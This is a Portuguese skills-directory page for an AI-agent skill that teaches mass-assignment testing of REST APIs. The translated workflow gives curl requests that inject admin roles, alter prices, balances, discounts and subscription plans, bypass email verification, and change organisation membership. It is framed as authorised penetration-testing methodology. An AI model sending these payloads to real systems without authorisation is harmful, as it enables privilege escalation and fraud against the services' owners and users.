exploiting-mass-assignment-in-rest-apis
Faz seu agente descobrir e explorar atribuição em massa em APIs REST para escalada de privilégios.
O que ela faz
Essa ferramenta ajuda a encontrar e explorar uma falha de segurança em APIs (os 'sites' que os aplicativos usam para conversar entre si). Ela tenta inserir informações inesperadas, como 'ser administrador', em pedidos que a API recebe, para ver se consegue obter mais permissões do que deveria.
Quando usar
- ✓Ao testar a segurança de APIs que recebem dados em formato JSON.
- ✓Ao verificar se um usuário comum pode se tornar um administrador.
- ✓Ao procurar por falhas em sistemas que criam ou atualizam informações.
Exemplo do que pedir para a IA
“Tente injetar 'role: admin' ou 'isAdmin: true' nos dados enviados para a API quando estiver atualizando seu perfil.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia pedidos para a API com campos extras que não deveriam estar lá. Se a API aceitar esses campos e mudar o comportamento (como dar privilégios de administrador), a falha é encontrada.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-mass-assignment-in-rest-apisOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Atribuição em Massa em APIs REST
Quando Usar
- Ao testar APIs REST que aceitam entrada JSON para criar ou atualizar recursos
- Durante avaliações de segurança de API de aplicações que usam frameworks ORM (Rails, Django, Laravel, Spring)
- Ao testar endpoints de registro de usuário, atualização de perfil ou gerenciamento de conta
- Durante a caça a bugs em aplicações com operações de API CRUD
- Ao avaliar a implementação de controle de acesso baseado em função em aplicações orientadas por API
Pré-requisitos
- Burp Suite ou Postman para criação e interceptação de requisições de API
- Compreensão do comportamento de auto-vinculação (auto-binding) do ORM em frameworks comuns
- Documentação da API ou descoberta de endpoints através de reconhecimento
- Múltiplas contas de usuário com diferentes níveis de privilégio para testes
- Conhecimento de campos sensíveis comuns (role, isAdmin, verified, balance, price)
- Arjun ou param-miner para descoberta de parâmetros ocultos
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1 — Descobrir Estrutura e Campos da API
# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance
# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates
Passo 2 — Testar Escalada de Privilégio via Campos de Função (Role)
# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"isAdmin":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
# Test during registration
curl -X POST http://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
Passo 3 — Testar Campos Financeiros e de Lógica de Negócios
# Modify price or balance fields
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
# Modify account balance
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
Passo 4 — Testar Campos de Verificação e Status
# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
# Modify account status
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
Passo 5 — Testar Manipulação de Relacionamento e Chave Estrangeira
…
Perguntas frequentes
O que é 'Mass Assignment'?
É quando uma API aceita automaticamente muitos dados de um pedido e os aplica diretamente em um objeto, sem verificar cada um. Isso pode permitir que um usuário mal-intencionado defina campos que não deveria, como o nível de permissão.
Quais ferramentas são usadas?
Ferramentas como Burp Suite, Postman, Arjun e param-miner são usadas para interceptar, analisar e enviar pedidos modificados para a API.
É preciso saber programar para usar isso?
É útil ter um conhecimento básico de como as APIs funcionam e o que são frameworks ORM, mas a ferramenta automatiza muitas das etapas complexas.
Detalhes
Descrição original do autor
Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5751
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC